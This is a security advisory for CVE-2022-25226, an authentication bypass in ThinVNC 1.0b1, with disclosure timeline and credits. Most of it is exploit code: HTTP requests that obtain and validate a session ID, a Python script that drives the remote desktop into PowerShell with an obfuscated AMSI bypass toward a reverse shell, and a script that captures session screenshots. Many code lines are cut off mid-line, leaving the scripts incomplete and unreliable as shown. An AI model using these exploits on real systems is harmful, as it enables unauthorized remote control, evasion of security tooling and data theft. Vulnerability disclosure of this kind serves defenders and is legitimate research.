ThinVNC 1.0b1 - Authentication Bypass

Summary

Affected versions	Version 1.0b1
State	Public
Release date	2022-04-13

Vulnerability

Kind	Authentication Bypass
Rule	006. Authentication mechanism absence or evasion
Remote	Yes
CVSSv3 Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSSv3 Base Score	10.0
Exploit available	Yes
CVE ID(s)	CVE-2022-25226

the server.

Proof of Concept

1. Send the following request to the application in order to obtain a valid `SID`.

```
GET /cmd?cmd=connect&destAddr=poc&id=0 HTTP/1.1
Host: 172.16.28.140:8081
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/
```

```
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Referer: http://172.16.28.140:8081/
Cookie: SID=
```

2. Obtain the `SID` from the server response and add it to the following request in order to validate the `SID`

```
GET /cmd?cmd=start&mouseControl=true&kbdControl=true&quality=85&pix
Host: 172.16.28.140:8081
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/
```


3. Now it is possible to send keystrokes or mouse moves to the server using the validated `SID`

Exploit

The following exploit can be used to obtain a reverse shell on the server running the ThinVNC application.

```
import requests
import time
import argparse
```

```
proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:80

headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gec
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "X-Requested-With": "XMLHttpRequest",
    "Connection": "close",
}

def login_sid(base_url):
    url = base_url + "/cmd?cmd=connect&destAddr=poc&id=0"
    cookies = {"SID": ""}
    r = requests.get(url, headers=headers, cookies=cookies, proxies=pro
    #r = requests.get(url, headers=headers, cookies=cookies)

    return r.json()['id']
```



```
    #r = requests.get(url, headers=headers, cookies=cookies)
    time.sleep(2)


def send_ctrl_esc(base_url, sid):

    url = base_url + "/cmd?cmd=fkey&key=CtrlEsc&id=%s" % sid
    cookies = {"SID": "%s" % sid}
    requests.get(url, headers=headers, cookies=cookies, proxies=proxies
    #requests.get(url, headers=headers, cookies=cookies)
    time.sleep(2)


def send_text(base_url, sid, text):
```

```
    url = base_url + "/cmd?id=%s&cmd=cli&type=clipboard&action=paste" %
    cookies = {"SID": "%s" % sid}
    data = text
    requests.post(url, headers=headers, cookies=cookies, proxies=proxie
    #requests.post(url, headers=headers, cookies=cookies, data=data)
    time.sleep(2)

def send_enter(base_url, sid):

    url = base_url + "/cmd?cmd=keyb&key=13&char=0&action=down&id=%s" %
    cookies = {"SID": "%s" % sid}
    requests.get(url, headers=headers, cookies=cookies, proxies=proxies
    #requests.get(url, headers=headers, cookies=cookies)
    time.sleep(2)



parser = argparse.ArgumentParser(description='ThinVNC exploit')
```



```
args = parser.parse_args()


url = 'http://%s:%s' % (args.server_ip,args.server_port)


print("[*] ThinVNC Auth Bypass to RCE exploit")
print

print("[+] Getting sid")
sid = login_sid(url)

print("[+] Initializing sid")
start_sid(url, sid)
```

```
print("[+] Sending Ctrl+Esc sid")
send_ctrl_esc(url, sid)

print("[+] Opening run")
send_text(url, sid, "run")
send_enter(url, sid)


print("[+] Sending Reverse Shell")

amsi_txt = """powershell.exe -exec bypass"""
send_text(url, sid, amsi_txt)
send_enter(url, sid)


# AMSI Bypass
amsi_txt = """S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'
```



```
send_enter(url, sid)
```

The following code can be used to take screenshots of the VNC session.

```
import requests
import time
import argparse
import os
import urllib3
urllib3.disable_warnings()
```

```
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:808

headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gec
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "X-Requested-With": "XMLHttpRequest",
    "Connection": "close",
    "Referer": "http://172.16.28.140:8081/"
}

def login_sid(base_url):
    url = base_url + "/cmd?cmd=connect&destAddr=poc&id=0"
    cookies = {"SID": ""}
    r = requests.get(url, headers=headers, cookies=cookies, proxies=pro
    #r = requests.get(url, headers=headers, cookies=cookies, verify=Fal
```



```
    r = requests.get(url, headers=headers, cookies=cookies, proxies=pro
    #r = requests.get(url, headers=headers, cookies=cookies, verify=Fal
    time.sleep(1)


def send_ctrl_esc(base_url, sid):

    url = base_url + "/cmd?cmd=fkey&key=CtrlEsc&id=%s" % sid
    cookies = {"SID": "%s" % sid}
    requests.get(url, headers=headers, cookies=cookies, proxies=proxies
    #requests.get(url, headers=headers, cookies=cookies, verify=False)
    time.sleep(1)


def get_images(base_url, sid):
```

```
    os.system("rm images/*.jpg")

    x = 0

    url = base_url + "/json?id=%s" % sid
    cookies = {"SID": "%s" % sid}

    r = requests.get(url, headers=headers, cookies=cookies, proxies=pro
    #r = requests.get(url, headers=headers, cookies=cookies, verify=Fal

    windows = r.json()['windows']


    for w in windows:

        if "imgs" in w:
            for img in w["imgs"]:
```



```
                f = open(name_txt,'w')
                f.write(str_image)
                f.close()

                try:
                    os.system("cat %s | base64 -d > %s; rm %s" % (name_
                except:
                    print("[*] Error Decoding Images")


parser = argparse.ArgumentParser(description='ThinVNC exploit')

parser.add_argument('-s', '--server-ip', required=True, help='ThinVNC I
parser.add_argument('-p', '--server-port', required=True, help='ThinVNC
```

```
parser.add_argument('-k', '--ssl',required=True, help='ssl (true or fal


args = parser.parse_args()

if (args.ssl.lower() == "true"):
    url = 'https://%s:%s' % (args.server_ip,args.server_port)
else:
    url = 'http://%s:%s' % (args.server_ip,args.server_port)


print("[*] ThinVNC Auth Bypass - VNC Session Images")
print

print("[+] Getting sid")
sid = login_sid(url)

print("[+] Initializing sid")
```


Mitigation

By 2022-04-13 there is not a patch resolving the issue.

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of `Fluid Attacks` .simone

References

Vendor page https://github.com/bewest/thinvnc

Issue https://github.com/bewest/thinvnc/issues/7

Timeline

- 2022-04-05
  Vulnerability discovered.
- 2022-04-05
  Vendor contacted.
- 2022-04-13
  Public Disclosure.

Secure Code Review

Red Teaming

Breach and Attack Simulation

Security Testing

Penetration Testing

Ethical Hacking

Vulnerability Management

Blog

Certifications

Partners

Careers

Advisories

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details